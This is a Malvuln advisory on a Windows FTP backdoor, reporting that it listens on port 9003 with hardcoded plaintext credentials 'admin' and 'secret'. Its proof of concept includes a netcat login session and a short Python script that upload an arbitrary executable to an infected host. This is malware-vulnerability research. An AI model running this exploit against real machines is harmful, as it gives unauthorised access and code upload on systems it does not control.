Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/ea9ab5983a6fa71e31907e74d4ddbab6.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: Backdoor.Win32.FTP.Lana.01.d
Vulnerability: Weak Hardcoded Credentials
Family: Lana
Type: PE32
MD5: ea9ab5983a6fa71e31907e74d4ddbab6
Vuln ID: MVID-2022-0539
Dropped files: sersvc32.exe
Disclosure: 04/06/2022
Description: The malware listens in TCP port 9003. The credentials "admin" and "secret" are weak and stored in plaintext with the executable.
00404004 aAdmin db 'admin',0 ; DATA XREF 00401FBF
00404004 ; sub_402765+4A3↑o
00404019 aSecret db 'secret',0 ; DATA XREF 00401FA8
Exploit/PoC:
nc64.exe x.x.x.x 9003
220 Silver FTP v1.1
USER admin
331 Password required for admin.
PASS secret
230 User logged in, proceed.
SYST
215 UNIX Type: L8
PASV
227 Entering Passive Mode (192,168,18,125,195,84).
STOR DOOM.exe
150 Data connection accepted.
226 Transfer ok
from socket import *
MALWARE_HOST="192.168.18.125"
PORT=50004
DOOM="DOOM.exe"
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)
while EXE:
s.send(EXE)
EXE=f.read()
s.close()
print("By Malvuln");
if __name__=="__main__":
doit()
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